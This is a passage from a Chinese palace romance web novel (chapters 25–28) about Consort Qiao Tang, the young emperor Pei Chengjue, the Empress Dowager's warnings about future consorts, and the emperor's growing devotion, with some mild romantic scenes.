可乔棠知晓,那些鞭伤融进了他读的每一本书里,他每每拿起书都会想起温家父母对他的伤害。 那时乔棠心疼,不愿他再读书,他第一次在乔棠面前露出一抹浅笑,“无妨,棠棠陪着我便是。” 乔棠看不懂他这个笑,不知道他的心是否还会因读书而疼。 时至今日,乔棠还是看不透他这点,或许他还是不愿读书。 裴承珏叫他去编书,实则是给他了最大的惩治。 乔棠望着静仪郡主的背影,轻轻抿唇,这姑娘实在用错了法子,也许换个法子好些吧。 她不由掩唇咳了一声。 静仪郡主神思骤拢,仓促回头间面颊一红,乔棠微微一笑,“能得郡主这般赏识,是魏编修的荣幸。” 静仪郡主一呆,暗道,怪不得惠贵妃深得陛下宠爱,惠贵妃柔美娇婉,笑起来如姐姐般温柔,便是她也有些喜欢了。 “让惠姐姐笑话了。” 静仪郡主回到座上,心知心事被乔棠看透了,一时羞涩低头。 乔棠为示亲近,挨近了她,也不点破,只道,“本宫听若湄提过,魏编修在家读书甚少,倒颇为喜欢调香。” 若是避开读书,静仪郡主能得了魏清砚的心,也是好事一桩,若是魏清砚还那般冰冷伤人,她也该叫静仪郡主及时止损。 静仪郡主为难地咬唇,“我于调香一道并不擅长。” “无妨,本宫略懂一些,郡主若不嫌弃,本宫可教郡主。”乔棠笑道。 静仪郡主旋即露出一个感激的笑,“谢谢惠姐姐。” 乔棠觉着她和魏若湄一样可爱,下午便邀了她去漱玉阁,命宫人在阁里摆满了调香用具。 静仪郡主闻得缕缕清香,渐渐沉下心来。 乔棠在旁托腮一笑,“这便是香的好处了,待你学会,到时魏编修讲书时也可点上一些,使他静心凝神,自然也可给家人用些。” 静仪郡主神色黯然。 乔棠蓦地想起王嬷嬷那日的话,“静仪郡主是个争气的,奈何她那兄长荒唐到没边了,赌肆酒楼柳巷那是一个不落,据说还曾失手伤过人,所幸也没闹出人命,襄王爷耳根子软,对他又惯得很,由着他闹,倒是苦了静仪郡主,没了娘亲,摊上这么一对父兄。” 乔棠自知失言,才拿起研钵,要转移静仪郡主注意力,李公公来请她了。 乔棠心里还记着裴承珏上午的大方,大方是吧,让你接着大方,她笑道,“本宫正与郡主调香,晚些再去见陛下。” 李公公垂下头才敢变色,惠贵妃竟一日拒了陛下两次,陛下铁定是要气的,可转念一想,这可是陛下万分宠爱的惠贵妃,陛下便是再气,也不会拿贵妃如何的。 这般想着,他匆匆去勤政殿传话了,乔棠专心教郡主调魏清砚熟悉的几种香。 约莫半个时辰后,静仪郡主闻了闻香气,红着脸颊道,“似与魏编修身上的一样,呀,不对,与陛下身上的也甚是相似。” 乔棠指尖一颤,“此类香,气味大都类似。” 静仪郡主若有所思地点头,又过一个时辰,乔棠见她累了,便让她回慈宁宫歇息,自己独自待在漱玉阁。 空中浮动着熟悉的香气,乔棠鼻尖一动,思付片刻,立马摒弃了以前魏清砚用过的所有香,重新调弄一番,彻底清去了魏清砚的痕迹。 已是落照时分,她领着宫人,带着新香去往勤政殿,临到殿前,步上台阶时忽见两人沿着台阶而下。 其中一男子五十出头,蓄着短髯,穿红色盘领窄袖袍,束玉带,想来身份尊贵,但面相和善得紧,并无赫赫威仪。 另有一青年,衣饰张扬华贵,眉眼轻浮,举止也甚为荒唐,敢在此等地方戏弄宫女,明目张胆地捉宫女裙角。 那宫女躲避不及,跌到乔棠跟前,慌地请罪,乔棠心知这也不是她的错,是那青年过分了,遂命她起身了。 守在殿门边的李公公立时奔过来,向乔棠行礼道,“贵妃娘娘,襄王爷与世子刚见过陛下,这便要离宫了。” 乔棠了然,原来这男子便是襄王爷。 思及襄王是长辈,且受裴承珏重视,她笑着向襄王问好。 襄王笑得和善,那无礼青年便是襄王世子,突地向前两步行了一个礼,“裴泽见过贵妃娘娘。” 因距离近了,那发亮的目光直往乔棠身上溜,是乔棠时常感受到的那种暗地里的觊觎视线。 乔棠心头不悦地顰起眉心,还未说话,裴泽已被襄王拉得后退几步,她趁机转身步上台阶。 那道视线追着她进了殿门,台阶下襄王无奈叹息,“与宫女胡闹便罢了,怎还对贵妃娘娘无礼?” 裴泽显然没听进心里,意犹未尽地收回视线,忽地道,“父王,我忽然想起还有事要禀报陛下,不妨我们再去求见陛下。” “你能有什么事,快随本王出宫。”襄王哪里不知他那点心思,见他提步奔上台阶,一时气急,忙地跟了上去。 却说乔棠进了殿,先去了暖阁,将以前的香换掉了,还未出去见裴承珏,闻得外面一声,“陛下,襄王与世子求见。” 步子一顿,她立在隔断处思付一下,侧耳去听,很快殿里进来两人。 乔棠注意去听裴承珏的话,发现裴承珏颇为重视这个皇叔,对于襄王世子倒没什么特殊之处。 却不知,她立在里面,裴泽趁着襄王与裴承珏说话的空隙,目光偷偷地往里面瞧。 隔着距离,乔棠没有察觉,立在御桌后的裴承珏慢慢瞥了一眼里面,接着看向裴泽,“来人。” 即可进来两个侍卫,裴承珏道,“将裴泽拖出去送到京营,交由卫统领操练。” 裴泽面色大变,但裴承珏没有给他开口的机会,当即让侍卫拖了他出去。 襄王焦急,“陛下……” “皇叔,惯子如杀子,”裴承珏步下台阶,请他到座椅上坐下,眉眼一凛,“若再纵着裴泽,朕怕他性子大了,什么事都做得出来。” 襄王肩头一缩,到底没再出声。 乔棠旋身回去坐在扶手椅上,思量着襄王世子委实不成器了些,裴承珏让卫统领管着他,也是为了襄王好。 没过一会儿,襄王退下了,裴承珏进了暖阁,鼻尖一动,嗅出新的气息,笑问,“姐姐何故换了香?” “陛下对臣妾大方,臣妾自也对陛下大方,特意调了新香给陛下。” 裴承珏抱臂,静静地听着她委婉地抱怨,恨不得将她抱进怀里亲亲,姐姐真会拐着弯揶揄她。 裴承珏越想越是忍不住,抱了她坐在椅子上,瞥了眼桌上宫人剖好的柑橘,单拣了一个囫囵的,拿在手中剥开。 “姐姐看静仪郡主与魏卿如何?” 直接把乔棠问迷糊了,她哪里拿得准这两人,且以魏清砚性子来看,她怕魏清砚会伤了静仪郡主。 更何况,那夜魏清砚那句“我等棠棠”也不知会叫他执迷不悟多久,若是硬凑两人在一起,当真各有各的委屈。 乔棠遂道,“今日听讲,只看两人,倒是都喜静,其余的臣妾也不知了。” 还想说什么,唇边递来橘瓣,她启唇咬了一口,汁水四流。 染上汁水的手指用力,直接将整瓣送进她口中,又堵住她的口,直叫她慢慢吃完了。 汁水沾满唇瓣。 乔棠刚要拿手绢去擦,裴承珏薄唇贴了上来,“姐姐也让朕吃一口。” 乔棠侧头,甘甜汁水任由他吃尽兴了,才默默起身,坐到对面椅子上。 裴承珏没有拦住,笑着望向她,“那依姐姐意思,朕眼下还是不要赐婚的好?” “陛下不若再等等。”乔棠一眼也未看他,从桌子上拿起宫人剖好的半片柑橘,撕下一瓣送进口中。 裴承以手支颌,目光灼灼,看得乔棠吃不下去了,放下柑橘,“陛下这般关心静仪郡主,可是因襄王爷?” “还是姐姐懂朕。” 裴承珏扬颈看向椅背,闭上了眸子,似在养神,也慢慢同乔棠说起襄王,“父皇驾崩前曾提及皇叔,要朕善待皇叔。” 先帝性子端正严厉,一心治国,对裴承珏亦是要求严苛,唯独对一母同胞的襄王这个皇弟松懈,说是襄王性格弱些,得格外关照。 襄王得了先帝偏爱,在宫中无人制衡,时常违背先帝意思,偷偷带幼时的裴承珏出去玩,便是被先帝发现了,他也总挡在裴承珏面前。 若是碰到裴承珏被先帝罚了,那势必胡搅蛮缠一通,硬是让先帝没了脾气,任他猖狂地带着裴承珏溜之大吉。 为此,裴承珏自幼到大都颇喜欢他,便是先帝驾崩前没提他,裴承珏也会格外善待他。 裴承珏有意为静仪郡主赐婚,替襄王管教裴泽,都是为了襄王罢了。 阁里响起裴承珏倦声,“裴静仪尚好,裴泽再不管教,朕恐他惹出事端,到时……” 声音小了下来,乔棠定定地望着他,原来他也有害怕之事。 乔棠心脏忽地抽了下,有些疼。 她不由自主地起了身,轻步靠过去,手指刚抚到裴承珏阖上的眸子,就被裴承珏揽进了怀里。 “姐姐若想为朕解乏,接下来就乖乖的。” 昏色蔓延天际,房里暗下来,妄念横生。 乔棠很快被裴承珏裹进龙袍里,两人在一起,严丝合缝,包括身下一切。 扶手椅承受着两人重量。 呼吸声急了起来,打破了房里静谧气氛。 时间慢慢过去了。 乔棠神思不禁恍惚,裴承珏现今不得进去,便这般天赋异禀,进去了岂不是要要了她的命? 乔棠后怕地瑟缩身子,转瞬被拥入温暖怀抱,“姐姐别怕,朕不动了。” 她遂安心。 夜里忽地起了风,淅淅沥沥下起了秋雨,她被惊醒,习惯性地往裴承珏怀里钻。 裴承珏揽紧了她,她却再没了睡意,在黑暗中睁开眸子,闻着裴承珏的气息,心脏跳动急促,一下又一下,扰得她心烦不已。 堪堪一夜未睡,白日困倦,听着秋雨声慢慢睡去了,迷迷糊糊间闻得裴承珏声音,“姐姐病了吗?” 乔棠一下醒了,她好得很,她才不要喝药,于是霍地睁开眸子,对上裴承珏关切眼神,格外精神道,“只是夜里没睡好。” 裴承珏听罢若有所思,当夜什么也不做,生恐搅得乔棠睡不好。 乔棠见他误会了,也没解释,只是靠近裴承珏时,心跳还是很快。 没办法了,她心思一转,思付提议,“不若陛下与臣妾分开睡?” 裴承珏眸子一眯,“分开睡?” 抱着乔棠的手臂猛地一紧,乔棠一痛,心知自己出了个馊主意,惹得他不开心了,忙把脑袋埋在枕头里。 裴承珏力度放轻了,半晌,心疼地摸了摸乔棠脑袋,披衣下了床,“朕去外殿宿一夜。” 乔棠心底一颤,呼吸都快了几分,几乎一瞬,她伸手扯住了裴承珏的衣袖,不想让裴承珏走了。 裴承珏原要给她放下纱帐,让她好好睡一觉,袖子被扯,手也动不了了,无奈道,“姐姐松手。” 乔棠慢慢松了手,埋在枕头下的脸颊红红的,声音含糊,“ 陛下听错了。” 裴承珏没有听清—— 作者有话说:宝们留言发红包哦! 第26章 他俯下身子,将乔棠脑袋轻轻从枕头里托出来,指腹蹭过她面上红晕,“别这样睡,闷得脸都红了。” 不说还好,一说乔棠面颊红得更厉害了,哪里是枕头的问题。 她再不敢说实话,生恐裴承珏知了逗弄她,遂拂了裴承珏的手,翻身背对着他,“陛下快走吧!” “那姐姐好生睡一觉。” 片刻后纱帐落下,脚步声响起,乔棠翻身坐起来,轻轻撩开纱帐,静静地瞧着裴承珏出去了。 纱帐落下,她摸了摸空落落的身侧,惊觉裴承珏便是不在,她也睡不着了,一手翻出夜明珠,怔怔地瞧着莹白光辉。 不知过了多久,忽闻脚步声传来,她收了夜明珠,阖上眸子,佯装已入睡了。 此时此刻,也只有裴承珏能在殿中自由行走了,裴承珏何故去而复还? 不过须臾,脚步声停在床边,纱帐却迟迟没有撩开,她不解得睁开眸子。 隔着轻纱,她见一道人影在床边小凳上坐下,接着传来轻轻一声,“姐姐?” 乔棠一时没有应声。 殿里静静的,裴承珏就那么坐着。 乔棠等了许久,未再听他言语,心下泛起狐疑,如湖面被吹起的点点涟漪。 待明了裴承珏是在守着她,狐疑转为悸动,点点涟漪翻滚成阵阵惊涛,汹涌地席卷过来,将她淹没在这寂然夜里。 从来—— 从来没有这般欢喜过,也从来没有这般无措过,她该怎么办…… 止不住的急促心跳叫她咬紧唇瓣,捏紧夜明珠的手指都在微微颤动。 忽然间裴承珏动了,隔着一层轻薄纱帐,袖中探出的手指轻轻地抚来,只落在轻纱上,指腹细细地摩挲,宛若在抚摸乔棠面颊。 夜明珠泄出光亮,乔棠侧头,望着那手指影子,离她很近,可又不忍打扰她,甘愿被一层轻纱格挡在外。 乔棠心如擂鼓,似受了那影子蛊.惑般,慢慢地坐起身子,左手抚着心口,迟疑着伸出右手。 掌心一点一点地贴上了轻纱外的手掌,指腹相对,贴得严丝合缝,似乎连炽热温度也能传过来。 倏地,轻纱被揉皱了,裴承珏手掌猛地攥住了她的手,那么急切。 接着嘶得一声,纱帐一下被扯散了,夜明珠的莹白光辉照得亮堂一片。 乔棠下意识闭上眸子,蝶翅般睫羽紧张地轻颤,耳边传来裴承珏暗哑低语,“姐姐,这不叫和朕分开睡——” “这叫勾.引.朕。” 胡说,她这次真没有,分明是裴承珏先蛊惑的她! 乔棠吃惊地睁开眸子,目光一下撞进一双幽暗眸子中,嗓子顿被什么掐住了般,再吐不出一字来。 后颈被手掌摁住,她被迫在床上直起上身,在裴承珏睥睨而下、逼迫十足的视线中,唇瓣微启,试图为自己辩解。 然而裴承珏不给她机会,捞起她的上身摁入怀中,抬起她的下巴,使她的唇瓣对准自己的薄唇,微微一笑,“姐姐继续。” 乔棠适才满心的悸动化为忿然,一边不满一边吻了上去,恨不得将裴承珏唇瓣咬坏。 裴承珏也不觉疼,揽紧了她,纵容着她,末了免得她疼了,才从怀中捞出她,“姐姐不要那么急,夜还很长。” 乔棠绝望阖眸,坏胚子一个! 夜慢慢过去了。 酉时,好不容易入睡的乔棠被身侧动静一惊,缓缓睁开眸子,却只得见裴承珏离去的背影。 耳边忆起昨夜裴承珏低语,“姐姐,再过半月,朕就十九岁了。” 似乎有了这个理由,他缠乔棠缠得更紧了,“姐姐可备了生辰礼物给朕?” 乔棠当时也没应声,实则她早得了消息,只是在犯愁准备什么贺礼。 眼下她还在思索这个问题,起床时精神有些不济,身子懒懒地靠着王嬷嬷,问她要个主意。 王嬷嬷笑道,“姑娘真是糊涂了,陛下这么喜欢姑娘,姑娘送什么,陛下都会欢喜的,姑娘只需遵从自己心意便好了。” 乔棠听罢豁然开朗,明眸一弯,笑得灿然。 王嬷嬷欣慰地心叹,她早说过了,姑娘与魏大人确实不合适,陛下才是最会疼姑娘,叫姑娘开心的人。 乔棠不知她心中所想,微一思付,有了主意,着手准备起来。 过了几日,早朝时,礼部提出了预备天子生辰礼节一事,裴承珏允下。 下了朝,回到勤政殿,裴承珏还未命人去请乔棠,甚少出现在此的太后被宫人簇拥着进了殿。 裴承珏知她有事要说,命宫人侍奉着她落座,自己步到御桌前,接了宫人奉来的茶水,低首抿了一口。 视线瞥到魏清墨的折子,腾出手翻看,见是恭贺他生辰之事,又阖上放到一边去了。 太后见状道,“必是贺陛下生辰的折子,以前陛下不爱看,这都要十九了,还是不爱看。” “恭贺之语有甚好看的。”裴承珏兴致缺缺,翻看其他折子,发现皆是外地臣子在贺他生辰,言辞和往年也无什么区别,眉心一折,命宫人抱走了。 “旁的孩子自幼喜过生辰,陛下不一样,年年过时都皱着眉头,真是像极了你父皇。” 裴承珏紧拢眉心缓缓舒展,“往年儿臣确实不喜过节,今年儿臣有了惠贵妃,那便不一样了。” 他掀唇一笑,步下台阶,命宫人去请乔棠。 太后面上笑意淡了些,“陛下理政还需惠贵妃陪着,这点和你父皇倒不一样了。” 裴承珏道,“母后这话错了,朕何必事事都像父皇?” 太后笑道,“哀家倒无这个意思,只是近日总梦及先帝,嘴上就多提了几次。” “母后这几日睡得不好?” 裴承珏在她对面坐下,关切地望着她,她心里一暖,“没有,哀家睡得很好,只是想起你父皇的一些事罢了。” “你父皇十九岁时,已有了哀家和几位宫妃了,宫里热闹着呢,眼下你也要十九岁了,身边只惠贵妃一个,孤零零的,哀家瞧着心里不好受。” “母后不必为此伤神。” 裴承珏神色淡下来,慢慢起了身,“朕有惠贵妃,惠贵妃也有朕,与孤零零有何干系?” 太后一听,心知他还是不愿选妃,目光一暗,面上微笑起来,“那倒是哀家想错了。” 裴承珏无心再提这个,往殿外瞥去,只想着乔棠何时能来,随口应付道,“母后且放心,待朕一及冠,朕就成婚立后。” 太后面色和缓,“那哀家就安心了,对了,哀家也好久没和陛下一起用膳了,不妨午膳时陛下带惠贵妃来慈宁宫,哀家也好和惠贵妃说说话。” 裴承珏自然应下,命宫人送她回慈宁宫,待乔棠来了,与乔棠提了此事。 乔棠心下思付,兴许太后是有什么事要她去做了,是要她接着陪静仪郡主去听魏清砚讲书,还是要她带姑娘接近裴承珏么? 思及后一种可能,乔棠揪紧手中画笔,手上微抖,笔尖一斜,险些毁了眼前画像。 她索性放下笔不画了,及至午膳时,同裴承珏一起去了慈宁宫。 三人一起用了午膳,饭罢在正殿坐着,太后向裴承珏询问了一些朝臣之事。 先前乔棠一直想试探太后用意,眼下得了机会,坐在裴承珏身侧细细地听着。 太后目光扫过紧挨的两人,“哀家听说都察院有个姓薛的官员状告他妻子毒杀他。” 裴承珏声音一沉,“确 实有这么这个事。” 都察院这个姓薛的官员本与发妻青梅竹马,成亲后夫妻二人也是伉俪情深。 不想两年后,姓薛的官员变心,纳了一个小妾,自此将发妻抛之脑后。 发妻由爱生恨,一时鬼迷心窍,欲毒杀他,反被他识破,被他告到了衙门。 太后啧啧称奇,“此人背弃发妻,移心小妾,事发后竟无一丝悔意,反将发妻告入大牢,当真是薄情寡义之辈,刑部欲如何处理此案?” 裴承珏提及臣子私事,神色淡淡的,“妻子谋杀官员,虽是未遂,仍处以斩刑。” 太后哀叹一声,“可怜这女子一片痴心错付,以至最后误入歧途,为薄情之人丢了一条命。” 乔棠亦为那官员妻子不值,下意识看向裴承珏。 两人离这么近,她的呼吸近在咫尺,裴承珏也转头。 四目相对,裴承珏朝她笑了笑,将乔棠的手轻拉进自己大袖中,轻轻地抚摸。 太后还在面色微愠道,“哀家看啊,这世上男子都是蠢的坏的,从不满足于一个女子,只贪多贪新,可怜女子对你们用情深了,到头来还得被你们男人作践!” 裴承珏不想叫乔棠听这些,转头对太后道,“母后何苦为了旁人这般动怒,且消消气。” 太后却道,“陛下还是莫说话了,且去忙吧,留下惠贵妃陪哀家说话便是。” 裴承珏看向乔棠,显然他是想带着乔棠走的,乔棠预感太后还有话讲,对他摇摇头,“陛下且去忙,臣妾陪太后娘娘一会儿。” 裴承珏无奈答应,抬袖帮她细细地理了理额发,太后在旁看着,也不出声。 待裴承珏走了,她也起了身,领着乔棠出了慈宁宫,“惠贵妃陪哀家走走吧。” 乔棠应下。 已是深秋,空气中寒意透骨,两人在御苑走了几步。 前方忽地出现一位宫装妇人,约四十岁,妆容得体,举止却是疯癫,只顾往前跑,身后跟着一行宫人,“太妃娘娘,太妃娘娘!” 那太妃娘娘眼看要撞上乔棠,手都要抓住乔棠衣领了,乔棠原是要躲闪的,猝然间瞥见太妃痴痴幽怨的眼神,一时怔住,当即被太妃扑到了地上。 “惠贵妃!” “还不快将她拉下去!快宣太医!” 一片躁乱中,宫人们忙地将那太妃拖下去,那太妃被拖得远了,依旧直勾勾地盯着乔棠看。 乔棠被宫人扶起来时,还怔然地陷在那双痴怨眸子里,直到回了慈宁宫,被扶坐在榻上,仍神思恍惚着。 太后只淡淡瞧着,过了会儿,眼看太医要来了,才喊了一声,“惠贵妃?” 好一会儿,乔棠才神思聚拢,迟迟应了一声,太后在她身侧坐下,叹了口气,“吓着你了吧,那是先帝的陈太妃。” 乔棠静静地听她道,“陈太妃比哀家早进宫,也得了一阵先帝的偏爱,对先帝有了独占之心,待先帝择了妃,有了哀家和其他宫妃,她不免生了怨恨,渐渐变了性子,先帝就此厌了她,她也无家人父兄关心,也就成了如今的疯癫模样。” 乔棠睫毛轻颤,太后叹息道,“好在先帝妃嫔虽不少,也只出了这么一个,其余宫妃是安分的,哀家只盼着,待陛下有了妃子,便是再多,若都尊着皇后,安安生生的就好了。” “今日哀家去勤政殿,提了立后一事,陛下的意思是待及冠再议此事,到那时陛下择妃立后,身边多了人陪,惠贵妃若想离宫,也不是没法子,可对?” 乔棠听明白了,慢慢地,神思清明起来,她露出一个柔柔的笑,“太后说得是。” 太后笑道,“哀家看你是个脑子清醒的,素日也该劝着陛下早早择妃,好为自己谋个后路,及早出宫才是。” 忽有宫人在殿外禀报,说是太医来了,乔棠也不再多言,起身对太后行礼,只道自己并无大碍,无须叫太医进来了。 太后便命宫人叫太医回了,又命素兰姑姑送乔棠回太极宫歇着。 乔棠拒了素兰姑姑相送,带着几个宫人在路上慢慢走着,冷意浸入心肺,叫她禁不住打了一个寒颤,脑中回放着自到慈宁宫听到的太后言语。 姓薛官员的发妻,先帝疯癫的陈太妃,哪个都是太后的警告,裴承珏是一朝天子,他会有后宫,会有皇后,而她终究是要出宫的。 乔棠回了太极宫,叫了王嬷嬷过来,王嬷嬷一靠近,她就抱了上去,“嬷嬷,外面好冷。” 王嬷嬷疑惑得很,姑娘穿得也厚实,怎怕成这样?她回抱住乔棠,拍拍乔棠后背,“不怕,嬷嬷身上暖和。” 乔棠紧紧地抱着她,喉头哽咽,委屈道,“嬷嬷,我是不是只有你了?” 王嬷嬷笑道,“傻姑娘,夫人老爷是不在了,可咱们还有陛下呢。” 殿里响起了匆匆脚步声。 王嬷嬷抚着她后背的手一顿,慢慢松开了乔棠,乔棠身上一冷,抓紧了她的衣袖,“嬷嬷不要走。” 下一刻她就被拥入一个熟悉的温暖怀抱,王嬷嬷笑着看了两人一眼,低头疾步出去了。 裴承珏抬起乔棠的面颊,看见她红通通的眸子,既心疼又自责,“朕实在不该留姐姐在母后那里。” 第27章 原本锐利恣睢的眉眼沾染愧疚,消了几分天子高高在上的威仪,仿佛只是个面相华贵的世家少年,在疼惜他放在心尖上的姑娘。 乍然之下,乔棠果真被此种情状蛊惑了,他为自己而来,来得好快,来得好及时,怀抱又这般温暖,瞬时冰冷心腔被暖意包裹。 于是她的委屈更重了,比抱着王嬷嬷时还要重,重到眼中泪珠倏地落下,坠在裴承珏指腹上,晶莹剔透,露珠般可爱。 裴承珏单臂搂紧她的腰肢,低眉凝视着这滴泪珠,舍不得它缓缓散尽。 薄唇吮吸泪珠,只觉一股甜涩充斥心间,就像姐姐给予他的,不只有欢喜,还有此刻心头这股发涩发涨的难受。 他怎么能让姐姐这般害怕,这般委屈? 他转瞬握住乔棠的手掌,要往自己面上拍去,乔棠已被他吮泪的动作惊了,再见他如此,登时瞪大眸子,忙地使力撤回手。 一时间,掌心贴过裴承珏的面颊,如轻轻地、缠绵地、吻了一下,小心翼翼。 裴承珏一怔,“姐姐,朕是要你打朕、罚朕。” 不是吻朕,奖励朕。 乔棠也惊愕适才那暧昧的力度,此刻一听霎时了悟,她、她没有! 顿时她心中的委屈惊惧都烟消云散了,只剩下深深无力,裴承珏这个坏胚子,整日臆想些不着调的东西! 裴承珏却不罢休,抬起她的手还往自己面上挥去,惊得她道,“不怪陛下,陛下无须这般自责。” 她拽下裴承珏手掌,紧紧握住,心间情绪已稳,勾唇绽出一抹微笑,“臣妾已无碍了。” 这笑宛若雨后新荷,露凝花叶,清艳娇软,教人看了心尖都要软几分。 霎那间,裴承珏的心如两人初见时,跳得又快又急,都说了不要奖励他!他分明做得很差劲! 他甚至觉着,作为对自己的惩罚,这几日都不能抱姐姐、亲姐姐了。 于是他强撑着没有摁住乔棠的后颈吻上去,抬起一节大袖遮住了乔棠的笑靥。 乔棠疑惑地收了笑,她已安慰裴承珏了,裴承珏怎还这么奇怪,她要去抓袖子。 “姐姐别动。” 裴承珏别过视线,容色一正,“朕要给姐姐一道口谕,若是往后姐姐因朕受了委屈,都可以拿这道口谕罚朕打朕。” 乔棠惊住,他都内疚到这种程度了? 不对,这坏胚子在自己跟前也不是一言九鼎的人了,谁知这口谕能否作数? 她一把扯开袖子,扬颈凑上去,含笑唇瓣险些吻上裴承珏脸颊。 “陛下这口谕当真作数?” “姐姐!”裴承珏连退两步,逼迫自己忘却适才美人嫣然的画面,忘却那双唇瓣的甜美,对自己下了狠心,“自然作数,姐姐且记着——” 他转身进了寝殿外间,从窗下长案 抽出一节鎏金缠银丝软鞭,再出来展眉一笑,“这是父皇在世惩治朕的鞭子,朕交给姐姐,若是日后朕叫姐姐受了今日这样的委屈,姐姐大可打朕罚朕。” 乔棠攥紧袖中手指,“一言九鼎?” “一言九鼎。” 裴承珏目光透着果决坚毅,于朝堂上必是力压群臣,乾刚独断,赫赫威仪,眼下却微俯身子,亲手向她递上捆缚自己的绳索。 乔棠心腔震颤,在裴承珏炽热目光中,伸出手,慢吞吞地、迟疑地去接。 她似还在犹豫,可裴承珏不给她时间了,一把擒住她的手腕,将软鞭塞进她手中,笑道,“姐姐不必心疼朕,朕犯了错,就该打。” 软鞭似沾染了裴承珏的暖意,乔棠一下握紧了,听裴承珏道,“朕来前知晓姐姐拒了太医,这很不好,朕再宣太医为姐姐瞧瞧,嗯?” “陛下,臣妾真无事了,若太医再来,臣妾依旧不见。”乔棠言辞诚恳,转而提起政务转移其注意力,“陛下匆匆赶来,怕是误了朝务,陛下还是快快回勤政殿理政吧。” 裴承珏只得依了她,“眼下确有一事要忙,那姐姐且好生歇着,朕出去一趟。” 乔棠颔首,目送他阔步离去,他的背影那般挺拔,肩膀那般宽厚,乔棠迟迟收不回视线。 直到良久,王嬷嬷进殿来,突兀地闪入她的眸子,她才梦醒似地收回视线。 王嬷嬷拥着她步入寝殿,“可是太后娘娘和姑娘说了什么?” 乔棠一听便知她知晓了,自己被先帝的陈太妃惊了一事恐已传遍后宫,可王嬷嬷是晓得她,她原没这么胆小。 “也没什么,只是我……” 乔棠迟疑,不知如何和王嬷嬷说,她撇开王嬷嬷,将做好的一条腰带找出来,和鞭子握在一起,为难地咬了咬唇瓣,才诚恳道,“我有些害怕。” 王嬷嬷温言细问,“怕什么?” 怕什么? 这一瞬里,乔棠的心似无根浮萍,飘忽不定,脑海闪过一道声音—— “陛下待及冠后再择妃,惠贵妃也该为自己谋后路,及早离宫才是。” 人心易变,倘若她再不出宫,裴承珏及冠后不复现在,真择了妃立了后,她要做这些妃子中的一个么? 陈太妃痴呆幽怨的眸子倏地闪过眼前,不,她不能变成那样,她不能! 乔棠一瞬抓起腰带,疾步到了一口箱子前,打开箱子,将腰带塞进去一半时,又蓦地停住了。 她分明该将这腰带,连同这阵子过快的心跳,昨夜满心的悸动,一起被关进这暗无天日的箱子里的。 可是—— 裴承珏给了她鞭子,给了她口谕,以及那夜纱帐中,裴承珏郑重的一吻,“朕今生唯要姐姐一人。” 一时无根浮萍也被蛊惑得想落地生根了。 忽地右手被赶来的王嬷嬷按住了,“这是姑娘为陛下做的生辰贺礼,姑娘何故收起来?” 乔棠被纷乱心绪裹挟,失了主意,“先前是我想错了,陛下贵为天子,衣物皆有规制,这不过是一条寻常人家用的腰带,并不符陛下身份,不若不送了。” “姑娘又犯傻了,凡是姑娘送的,到了陛下眼里,那必定是最好的,也必是陛下最喜欢的。” 尚有半截腰带垂在外面,扫过乔棠手腕,痒痒的,她像是对自己的心认输了,有些难堪地问,“那陛下会一直喜欢么?” 王嬷嬷一听,笑了,原来姑娘怕在这里,她轻轻地将那腰带从箱子中抽出来,塞回乔棠手里,“姑娘信嬷嬷么?” 乔棠颔首,听王嬷嬷道,“信嬷嬷就不要收起来,生辰那日送给陛下。” 乔棠咬唇接过。 裴承珏这厢出了太极宫,并未像乔棠想的那样回勤政殿,反而步子一转,去了慈宁宫。 未及正殿,闻得咿咿呀呀之声,想来是太后在畅音阁听戏,他遂转身往阁里去。 一进阁里,戏声入耳,搅得他心烦意乱,唇角一垂,唬得宫人们纷纷伏地,戏声霎时消失了。 戏台陷入死寂。 原眯眼听戏的太后耳边没了声儿,心知是裴承珏来了,缓缓睁开眸子,一侧头,果见裴承珏面无表情地在扶手椅坐下。 她面上笑道,“今儿奇怪,陛下不在勤政殿理政,却来扰哀家听戏,莫非哪里不顺心,到哀家这里撒气来了?” 裴承珏捏了捏眉心,“母后别揶揄朕了,朕心里是难受,朕登基后,父皇这些后妃原该送去行宫的,就因未及时送,惊了朕的惠贵妃。” 太后心里一沉,还真找她撒气来了,口中叹道,“说来这也是意外,陈太妃一贯居于宫中不出来,也不知今日怎地就出来惊了惠贵妃,哀家召了太医,惠贵妃道她无事,哀家也就让她回太极宫歇歇了,眼下惠贵妃如何?” 裴承珏沉声,“受了好大惊吓,朕已拟好旨意,今日务必送这些后妃去行宫。” 太后心知他主意已定,不过是来告知自己,慢慢缓了口气,“也好,省得再惊着陛下的惠贵妃。” 裴承珏默了下来。 周身寂然,太后察觉不对,眸光微闪,思及自己对乔棠说的那番话,试探道,“陛下似心有郁气,可是惠贵妃受了惊吓,与陛下说了什么,叫陛下生气了?” 裴承珏讶然,“母后怎能这般想惠贵妃?惠贵妃柔嘉有度,性子极好,便是受了惊吓也无任何怨言,朕是气朕自己,早该做了的事拖到现在!” 太后唇角一僵,缓缓地再呼口气,低低道,“素兰,接陛下旨意,再传哀家懿旨,命陈太妃等人速速前往行宫,不得耽误!” 第28章 素兰即可领命去了。 宫人奉茶过来,太后接过抿了一口,清润口感缓解些许躁气。 裴承珏面色稍霁,拒了宫人奉来的茶,侧目望来,“母后适才所言,似对惠贵妃有所误解。” 太后喉头一窒,呼吸一促,胸前起伏,要了命了,以她和先帝的性子,如何也不该生出身边这个情种! 她慢慢放下茶杯,忍着火气道,“陛下想什么呢,哀家意思是恐惠贵妃有了委屈也不与哀家提,只私下与陛下说,倒叫哀家心疼了。” “果真是朕想错了,惠贵妃这般好,母后合该多心疼的,母后只朕一个儿子,也无公主,便将惠贵妃当做自己女儿来疼,如何?” 太后终于被气笑了,“惠贵妃做哀家女儿,嗯,陛下要当惠贵妃的弟弟?” 不想裴承珏朗声一笑,心间都是姐姐,“朕原就比惠贵妃小两岁,做惠贵妃弟弟也未尝不可。” 太后蓦地想起,她听素兰提过,太极宫宫人时而听到裴承珏喊乔棠姐姐,他还真喜欢给人家既当夫君,又当弟弟! 太后齿缝中险些泄出一声,滚去你姐姐那里! 忽而心念一转,霍地转头去望裴承珏,似是才发现儿子的另一面。 难不成儿子钟情乔棠,不只为乔棠美貌,还有他喜欢比自己年纪大的姑娘的缘故? 兴许便是如此。 太后再拿起茶杯时已气定神闲,悠悠抿了一口,咽下后笑道,“既然陛下提了,陛下且放心,哀家往后定将惠贵妃拿女儿疼。” “不过,说起姐姐,陛下可真忘了一位姐姐。”她看向裴承珏,在裴承珏疑惑目光中道,“陛下幼时的启蒙老师,已故的柳璋柳太师,膝下有一孙女,名唤荷曦。” 